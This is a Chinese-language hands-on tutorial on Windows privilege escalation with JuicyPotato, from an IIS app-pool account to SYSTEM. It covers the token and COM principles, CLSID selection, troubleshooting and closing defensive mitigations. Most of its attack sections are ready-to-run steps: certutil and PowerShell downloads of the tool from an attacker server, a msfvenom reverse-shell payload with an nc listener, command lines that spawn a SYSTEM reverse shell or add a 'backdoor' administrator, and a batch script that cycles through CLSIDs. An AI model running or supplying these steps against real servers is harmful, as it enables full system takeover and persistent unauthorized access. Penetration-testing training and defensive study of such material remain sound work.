1. 项目概述从IIS到SYSTEM的权限跃迁在Windows Server的运维与安全渗透测试领域权限提升Privilege Escalation是一个永恒的核心议题。想象一下你通过一个Web应用漏洞成功在目标服务器的IISInternet Information Services应用池账户通常是NETWORK SERVICE或IIS APPPOOL\DefaultAppPool下获得了命令执行能力。然而这个账户权限被严格限制你无法读取敏感文件、修改关键配置或是进行横向移动。此时如何从这“牢笼”中挣脱获取至高无上的SYSTEM权限就成了决定后续行动成败的关键一步。这正是“从IIS到SYSTEM”这个标题所描绘的经典场景。JuicyPotato多汁土豆正是为解决此类问题而生的经典本地提权工具。它并非凭空创造漏洞而是巧妙地利用了Windows操作系统内部一个名为COMComponent Object Model的合法机制。简单来说COM是Windows中一套允许软件组件跨进程通信的规范。为了安全地管理这些跨进程调用Windows引入了权限系统。JuicyPotato的核心思路就是诱骗一个更高权限的进程通常是SYSTEM权限来加载并执行我们指定的恶意COM组件从而将我们的权限“嫁接”到高权限进程中。这个过程听起来有点抽象我打个比方你低权限账户想进入一个VIP区域SYSTEM权限但门口有保安Windows安全机制检查证件。你发现VIP区域里有个服务生某个以SYSTEM运行的COM服务可以应客人的要求出来办事。于是你伪造一个VIP客人的请求单特定的CLSID让服务生出来。当服务生走出门在我们的进程上下文中实例化的那一刻你迅速把需要他带进去的东西我们的恶意payload塞给他让他帮你带进去执行。JuicyPotato就是那个帮你伪造请求单并抓住时机塞东西的工具。整个操作的成功极度依赖于一个关键参数CLSIDClass ID。这是一个全球唯一标识符用于标识系统中注册的每一个COM组件。不是所有的COM组件都适合被“诱骗”只有那些满足特定条件如以SYSTEM权限运行、支持特定接口等的CLSID才能被利用。因此选择合适的CLSID是整个提权过程的“临门一脚”也是新手最容易踩坑的地方。本文将不仅手把手带你走通利用JuicyPotato从IIS等服务账户提权至SYSTEM的全过程更会深入剖析CLSID的选择逻辑提供一份详尽的“避坑指南”让你在实战中能灵活应对不同环境。2. 核心原理与前置知识拆解在动手之前我们必须先理解JuicyPotato运作的土壤——Windows的令牌Token机制和COM提升权限Elevated COM机制。这能让你明白为什么它能成功以及在什么条件下会失败。2.1 Windows令牌与权限模型Windows的安全核心是访问令牌Access Token。每个进程都有一个关联的令牌它决定了该进程可以访问哪些资源文件、注册表键等。令牌里包含用户身份SID、所属组以及一系列特权Privileges。当我们说一个进程以SYSTEM权限运行就是指其令牌的用户SID是NT AUTHORITY\SYSTEM这是本地系统最高权限账户。服务账户如NETWORK SERVICE或IIS APPPOOL\*它们的令牌权限被大幅削减。但关键点在于这些账户在某些场景下拥有一个特殊的权限——“Impersonate a client after authentication”在身份验证后模拟客户端SeImpersonatePrivilege。这个权限允许线程在获得更高权限客户端的令牌后临时“扮演”该客户端。IIS应用池账户默认就拥有此权限这是JuicyPotato能够起飞的“跑道”。2.2 DCOM与COM提升权限COM组件可以运行在不同进程中。DCOM分布式COM则允许跨机器调用。当一个低权限客户端想要调用一个高权限COM服务器时Windows需要解决权限问题。为此它引入了“COM提升权限”机制。系统中有一些COM组件被配置为“以启动用户身份运行”RunAs Activator或“以指定用户如SYSTEM运行”。当低权限进程尝试激活Activate这些组件时服务控制管理器SCM会创建一个新的、以高权限运行的进程来承载该COM服务器。JuicyPotato正是利用了这个机制它欺骗SCM让SCM以为是一个高权限的客户端实际上是我们伪造的在请求激活一个COM服务器。SCM随后会创建一个高权限的进程并尝试将我们指定的COM服务器加载进去。2.3 JuicyPotato的工作流程理解了以上两点JuicyPotato的流程就清晰了监听JuicyPotato首先在本地指定一个TCP端口进行监听模拟一个COM服务器端点。欺骗与请求它然后利用SeImpersonatePrivilege权限通过一系列复杂的NTAPI调用向SCM发送一个伪造的激活请求。这个请求声称“有一个高权限的客户端比如SYSTEM想要连接到我JuicyPotato监听的COM端点。”SCM中计SCM收到请求后检查发现请求的COM CLSID确实配置为以高权限如SYSTEM运行。于是SCM会尝试启动该COM服务器并告诉它“去连接那个监听端点即JuicyPotato。”令牌窃取与执行当高权限的COM服务器进程例如dllhost.exe尝试连接JuicyPotato监听的端口时JuicyPotato会接受连接。由于连接来自一个高权限进程JuicyPotato利用SeImpersonatePrivilege成功窃取模拟了该进程的SYSTEM令牌。创建新进程最后JuicyPotato使用窃取来的SYSTEM令牌创建一个新的进程例如cmd.exe或执行我们的payload。这样我们就获得了一个拥有SYSTEM权限的shell或命令执行环境。整个链条的核心诱饵就是我们传递给JuicyPotato的那个CLSID。它必须指向一个确实被配置为以高权限运行的COM组件否则SCM不会创建高权限进程攻击链就会中断。注意微软在后续的Windows更新中如2019年11月后的补丁对相关的COM权限进行了修复和限制这使得JuicyPotato在完全打补丁的现代系统上可能失效。但在很多内部环境、特定配置或未及时更新的服务器上它依然是一个有效的测试手段。本文的讨论基于该技术原理本身用于安全研究与授权测试。3. 环境准备与工具部署实战开始前我们需要准备好“战场”和“武器”。假设我们已经通过Web漏洞在目标Windows Server上获得了IIS应用池账户的命令执行能力。3.1 目标环境判断首先我们需要确认当前环境是否满足JuicyPotato的基本运行条件。检查当前权限和特权在获得的命令行中执行whoami /priv在输出中寻找SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege。如果存在且状态为Enabled则条件满足。IIS应用池账户通常默认启用SeImpersonatePrivilege。检查系统版本和补丁执行systeminfo可以查看系统版本和补丁情况。JuicyPotato对较新的Windows 10/Server 2019及特定补丁后的系统可能无效。但作为测试流程我们继续。确定可写目录我们需要上传JuicyPotato的可执行文件。通常C:\Windows\Temp\或C:\Users\Public\目录是可写的。使用echo %TEMP%或尝试创建文件来确认。3.2 JuicyPotato工具获取与上传JuicyPotato是一个开源工具我们需要将其编译好的可执行文件上传到目标服务器。本地准备从GitHub如ohpe/juicy-potato下载预编译的Release版本例如JuicyPotato.exe或者自己用Visual Studio编译。建议准备不同版本的exe如x86和x64以兼容目标系统。上传到目标根据你已有的Webshell或命令执行通道选择合适的上传方式。常见方法有PowerShell下载如果目标允许出网可在目标机执行Invoke-WebRequest -Uri http://你的服务器/JuicyPotato.exe -OutFile C:\Windows\Temp\jp.exeCertutil下载certutil -urlcache -split -f http://你的服务器/JuicyPotato.exe C:\Windows\Temp\jp.exe手动上传通过Webshell的文件上传功能。 上传后务必确认文件已成功落地且可执行。3.3 Payload准备提权成功后我们需要执行什么通常是一个反弹Shell或者添加一个管理员用户。我们需要准备对应的payload程序。反向Shell使用msfvenom生成一个Windows反向TCP的exe。msfvenom -p windows/x64/shell_reverse_tcp LHOST你的IP LPORT4444 -f exe -o revshell.exe添加用户也可以直接让JuicyPotato执行系统命令。但更可靠的方式是准备一个执行命令的二进制文件因为直接传递复杂命令到JuicyPotato的参数中可能会遇到转义问题。将生成的payload如revshell.exe或adduser.exe同样上传到目标服务器的可写目录。4. CLSID选择原理、方法与避坑指南这是整个过程中最具技巧性也是最容易失败的一环。CLSID是一个128位的数字格式如{4991d34b-80a1-4291-83b6-3328366b9097}。我们需要找到一个在目标系统上存在、且配置为以SYSTEM等高权限运行的COM组件CLSID。4.1 CLSID的来源与查找原理COM组件的信息注册在系统的注册表中主要位于HKEY_CLASSES_ROOT\CLSID\和HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\下。每个CLSID的子项中LocalServer32或InprocServer32键值指明了该组件的执行路径。而Elevation、LaunchPermission、AccessPermission等子项则与权限配置相关。JuicyPotato作者提供的GetCLSID.ps1脚本其核心逻辑就是遍历这些注册表项寻找那些配置了LocalServer32表示它是一个独立的可执行文件服务器且具备适当权限的CLSID。更具体地说它寻找那些HKEY_CLASSES_ROOT\CLSID\{CLSID}\AppID指向的AppID在HKEY_CLASSES_ROOT\AppID\{APPID}下RunAs键值可能是Interactive User或直接是SYSTEM的用户配置。4.2 实战CLSID收集方法在目标系统上我们可以通过多种方式获取可用的CLSID列表。方法一使用系统自带的PowerShell脚本推荐如果目标系统允许执行PowerShell脚本我们可以直接运行修改版的查询命令。一个更直接的方法是查询注册表中所有RunAs值为Interactive User的AppID这是JuicyPotato早期常用的类型Get-ChildItem -Path Registry::HKEY_CLASSES_ROOT\AppID | Where-Object {$_.GetValue(RunAs) -eq Interactive User} | ForEach-Object {$_.PSChildName}这会输出一批GUIDAppID。但注意我们需要的是CLSID而CLSID通过其下的AppID值指向这些AppID。所以更准确的查询是找CLSID项下AppID值匹配上述结果的。一个综合性的命令可以尝试$validClsids () $appIds Get-ChildItem -Path Registry::HKEY_CLASSES_ROOT\AppID | Where-Object {$_.GetValue(RunAs) -eq Interactive User} | Select-Object -ExpandProperty PSChildName foreach ($clsid in (Get-ChildItem -Path Registry::HKEY_CLASSES_ROOT\CLSID -ErrorAction SilentlyContinue)) { $appIdVal (Get-ItemProperty -Path Registry::HKEY_CLASSES_ROOT\CLSID\$($clsid.PSChildName) -Name AppID -ErrorAction SilentlyContinue).AppID if ($appIds -contains $appIdVal) { $validClsids $clsid.PSChildName } } $validClsids方法二使用预编译的CLSID列表由于在线查询受限制我们可以依赖已知的、在不同Windows版本上测试可用的CLSID列表。JuicyPotato的GitHub仓库中有一个CLSID文件夹里面按系统版本列出了已知可用的CLSID。例如对于Windows Server 2016可能会列出像{4991d34b-80a1-4291-83b6-3328366b9097}这样的值。在实战中我们通常准备一个针对目标系统版本的常见CLSID列表进行尝试。方法三利用COM枚举工具上传像OleViewDotNet需.NET环境或Process MonitorProcMon这样的工具可以更直观地分析系统中的COM对象及其激活行为但这对环境要求较高在受限的Webshell环境下不常用。4.3 CLSID选择避坑指南为什么CLSID经常失败以下是常见原因及应对策略系统版本/架构不匹配这是最大的坑。为Windows 7收集的CLSID很可能在Windows Server 2019上无效。必须根据目标系统版本选择对应的CLSID列表。如果不知道版本就多准备几个版本的列表进行尝试。补丁修复微软通过补丁直接禁用了某些曾被滥用的COM组件的提升权限能力或修改了其激活行为。对于打了最新补丁的系统可能所有公开的CLSID都失效了。这时需要转向其他提权方法如PrintSpoofer、RoguePotato等。CLSID对应的服务未启动或已禁用有些COM组件依赖于特定的Windows服务。如果该服务被禁用激活会失败。可以尝试在提权前启动相关服务如果当前账户有权限的话。防火墙或安全软件拦截JuicyPotato需要监听本地端口。某些主机防火墙规则或安全软件可能会阻止此类行为。参数格式错误CLSID必须包含花括号{}并且格式正确。复制时注意不要遗漏字符或引入空格。实战选择策略第一步确定目标系统版本systeminfo | findstr /B /C:OS Name /C:OS Version。第二步使用针对该版本的“经典”CLSID进行首次尝试。例如对于Windows Server 2012 R2 / Windows 8.1{8BC3F05E-D86B-11D0-A075-00C04FB68820}Task Scheduler曾经常用。第三步如果经典CLSID失败准备一个该版本系统的常见CLSID列表例如从项目仓库获取写一个简单的批处理脚本进行批量尝试。第四步考虑权限问题。某些CLSID可能需要SeAssignPrimaryTokenPrivilege而非SeImpersonatePrivilege。JuicyPotato可以通过-t参数指定模拟令牌的方式t代表创建进程的类型如t为*表示尝试所有方式。第五步如果所有已知CLSID都失败很可能系统已通过补丁修复。需要记录下错误信息如“CLSID not registered”或“Access denied”这本身就是重要的测试结果。5. 手把手提权实战操作假设我们已在目标Windows Server 2016 Standard上以IIS APPPOOL\DefaultAppPool身份获得了一个命令行并且已将JuicyPotato.exe重命名为jp.exe和反向shell payloadrevshell.exe上传至C:\Windows\Temp\。5.1 基础命令执行JuicyPotato的基本命令行格式如下JuicyPotato.exe -l 监听端口 -p 要运行的程序 -a 程序参数 -c CLSID -t 令牌动作-l指定本地监听的端口号。通常使用一个未被占用的端口如9999。-p指定提权成功后要执行的程序路径。-a传递给上述程序的命令行参数。-c指定要利用的COM组件的CLSID。-t指定创建进程的方式。*表示尝试所有可能先CreateProcessWithToken失败则尝试CreateProcessAsUseru表示使用SeAssignPrimaryTokenPrivileget表示使用SeImpersonatePrivilege默认。在IIS场景下我们通常有SeImpersonatePrivilege所以用t或*。实战步骤一首次尝试我们选择一个针对Server 2016的常见CLSID例如{4991d34b-80a1-4291-83b6-3328366b9097}这是一个MMC快照管理组件。在攻击机上启动Netcat监听nc -lvnp 4444在目标机的命令行中执行C:\Windows\Temp\jp.exe -l 1337 -p C:\Windows\System32\cmd.exe -a /c C:\Windows\Temp\revshell.exe -c {4991d34b-80a1-4291-83b6-3328366b9097} -t *-l 1337: JuicyPotato内部监听端口。-p C:\Windows\System32\cmd.exe: 使用cmd.exe作为启动器。-a /c C:\Windows\Temp\revshell.exe: 让cmd执行/c参数即运行我们的反向shell。-c {4991d34b-80a1-4291-83b6-3328366b9097}: 使用的CLSID。-t *: 尝试所有令牌模拟方式。如果成功你将看到JuicyPotato输出类似[] CreateProcessWithTokenW OK的信息随后攻击机的Netcat会收到一个来自目标机的SYSTEM权限连接。5.2 进阶用法与参数详解直接执行命令如果不方便上传二进制payload可以直接让JuicyPotato执行命令。但要注意转义。C:\Windows\Temp\jp.exe -l 1337 -p C:\Windows\System32\cmd.exe -a /c net user backdoor Pssw0rd! /add net localgroup administrators backdoor /add -c {CLSID} -t t这条命令会尝试添加一个名为backdoor的管理员用户。注意命令中包含和空格在传递时可能会被错误解析。更稳妥的方式是编写一个批处理文件.bat并执行它。使用不同的监听端口如果默认端口冲突可以更换。JuicyPotato内部通信使用RPC over TCP端口可以任意指定只要不被占用。指定COM监听IP在某些复杂的网络环境下如多网卡可能需要使用-i参数指定监听的IP地址默认为127.0.0.1。使用备用程序加载器-p参数不一定非要用cmd.exe。你也可以直接指向revshell.exe。但有时直接执行自定义exe可能会失败通过cmd.exe /c调用更为稳定。5.3 自动化尝试脚本由于CLSID可能需要多次尝试手动输入效率低下。我们可以编写一个简单的批处理脚本test.batecho off set CLSID_LIST{4991d34b-80a1-4291-83b6-3328366b9097} {8BC3F05E-D86B-11D0-A075-00C04FB68820} {e60687f7-01a1-40aa-86ac-db1cbf673334} for %%G in (%CLSID_LIST%) do ( echo [] Testing CLSID: %%G C:\Windows\Temp\jp.exe -l 1337 -p C:\Windows\System32\cmd.exe -a /c C:\Windows\Temp\revshell.exe -c %%G -t * result_%%G.txt 21 timeout /t 5 /nobreak nul tasklist | findstr /i revshell.exe echo [SUCCESS] with %%G goto :success ) echo [FAILED] All CLSIDs tried. exit /b :success echo Check your listener!这个脚本会遍历CLSID_LIST中的多个CLSID依次尝试并将每次输出重定向到文件。如果revshell.exe进程出现tasklist能找到则认为成功并跳出循环。你需要提前在攻击机持续监听。6. 常见错误排查与解决方案在实际操作中你可能会遇到各种错误。下面是一个快速排查指南。错误现象/提示可能原因解决方案[-] CreateProcessWithTokenW Failed后跟Access is denied.1. CLSID不可用或权限配置已变更。2. 当前账户缺少必要的特权虽然whoami /priv显示有但可能上下文受限。3. 系统已安装修复补丁。1. 更换其他CLSID尝试。2. 尝试使用-t u参数如果账户有SeAssignPrimaryTokenPrivilege。3. 尝试其他提权方法。[-] RpcServerListen Failed/[-] RpcServerRegisterIf Failed指定的监听端口-l被占用或无法绑定。更换一个不常用的端口如13337, 44444等。[-] CoGetInstanceFromIStorage Failed或CLSID not registered提供的CLSID在目标系统中不存在。确认系统版本使用针对该版本的CLSID列表。命令执行后没有任何回显进程退出Payload执行失败或被杀毒软件拦截。1. 检查payload路径是否正确是否有空格需要引号包裹。2. 尝试使用不同的payload或执行方式如通过certutil下载并执行。3. 检查杀毒软件日志。JuicyPotato进程卡住不退出COM激活过程可能发生了死锁或等待。等待一段时间如30秒然后强制终止进程尝试其他CLSID。某些CLSID的激活行为可能导致此问题。成功创建进程但权限不是SYSTEM令牌模拟成功但创建的进程权限不对。1. 确认使用的CLSID确实配置为以SYSTEM运行。2. 尝试使用-t t明确指定使用模拟令牌方式创建进程。This program cannot be run in DOS mode.或无法运行jp.exe上传的JuicyPotato可执行文件架构与系统不匹配如x86 exe上传到x64系统或文件损坏。1. 使用wmic os get osarchitecture确认系统架构。2. 上传对应架构x86或x64的JuicyPotato版本。我的实操心得端口选择有讲究尽量选择1024以上的高端口避免与系统服务冲突。我曾遇到过使用8080端口失败换成13337就成功的情况可能是因为IIS或其他应用占用了8080。善用管道和重定向在Webshell或受限环境下执行命令输出可能丢失。务必使用 output.txt 21将标准输出和错误输出都重定向到文件便于事后分析。耐心与顺序CLSID尝试需要耐心。最好有一个针对目标系统版本的优先尝试列表。通常与系统任务调度、卷影复制、备份等管理功能相关的COM组件成功率相对高一些。备选方案永远要有JuicyPotato不是万能的。当它失效时要立刻想到其他方法如PrintSpoofer利用打印机后台处理程序服务、RoguePotatoJuicyPotato的变种利用远程OXID解析器、GodPotato国产改良版等。每个工具利用的机制略有不同对系统环境和补丁状态的敏感性也不同。7. 防御视角与缓解措施从防御者角度看了解攻击手法才能有效防护。针对此类COM权限提升攻击可以采取以下措施及时安装系统补丁这是最根本的解决方案。微软发布了多个安全更新来限制未经授权的COM激活和令牌模拟滥用。确保所有服务器都安装了最新的安全补丁。遵循最小权限原则检查并确保IIS应用池账户、SQL Server服务账户等仅拥有其运行所必需的最小权限。谨慎分配SeImpersonatePrivilege和SeAssignPrimaryTokenPrivilege。对于非必要的服务可以考虑移除这些高危特权。操作使用本地安全策略secpol.msc或组策略编辑器gpedit.msc在“用户权限分配”中从这些特权中移除不必要的服务账户。审查和限制COM组件通过组件服务dcomcnfg.exe审查系统中注册的COM组件对于非必要的、配置为以高权限运行的COM组件可以修改其启动和激活权限或将其禁用。操作运行dcomcnfg展开“组件服务”-“计算机”-“我的电脑”-“DCOM配置”逐一检查属性在“标识”选项卡中将不必要的组件从“交互式用户”或“启动用户”改为“指定用户”并赋予一个低权限账户。启用Windows Defender攻击面减少ASR规则如果企业环境使用Microsoft Defender for Endpoint可以启用“阻止从Windows本地安全机构子系统窃取令牌”等ASR规则能有效拦截此类利用。部署端点检测与响应EDR高级EDR产品可以检测到异常的进程创建行为如由dllhost.exe或svchost.exe发起的非常规子进程创建、令牌窃取以及JuicyPotato等工具的特征行为。网络分段与监控对服务器进行网络分段限制不必要的出站连接。监控服务器上异常端口的监听和连接行为。理解攻击链的每一步不仅能帮助我们更有效地进行渗透测试和漏洞验证更能让我们从架构和配置层面构建更稳固的防御体系。JuicyPotato作为一个经典的提权案例其价值远不止于获得一个SYSTEM shell更在于它深刻揭示了Windows安全模型中权限与信任边界的复杂性。